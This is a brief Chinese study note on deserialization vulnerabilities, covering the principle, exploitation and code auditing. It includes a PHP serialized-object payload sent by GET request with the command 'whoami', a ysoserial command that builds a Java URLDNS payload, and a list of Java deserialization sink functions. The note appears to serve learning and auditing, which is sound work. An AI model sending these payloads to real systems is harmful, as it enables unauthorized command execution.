【笔记】反序列化漏洞
前言
反序列化漏洞
漏洞原理
- 如果后端使用了反序列化,且前端可以通过传递参数的方式提交恶意序列化数据,那么就会导致反序列化漏洞
- 通常在白盒测试时才会被发现
漏洞利用
PHP反序列化漏洞
1 | class User { |
1 | GET http://127.0.0.1:80/?user=O:4:"User":1:{s:5:"value";s:6:"whoami";} |
Java反序列化漏洞
- 通过ysoserial生成序列化文件
1 | java -jar ysoserial-all.jar URLDNS "http://examlpe.com" > x.bin |
代码审计
Java
- 查找序列化相关函数
ObjectInputStream.readObject、ObjectInputStream.readUnshared、XMLDecoder.readObject、Yaml.load、XStream.fromXML、ObjectMapper.readValue、JSON.parseObject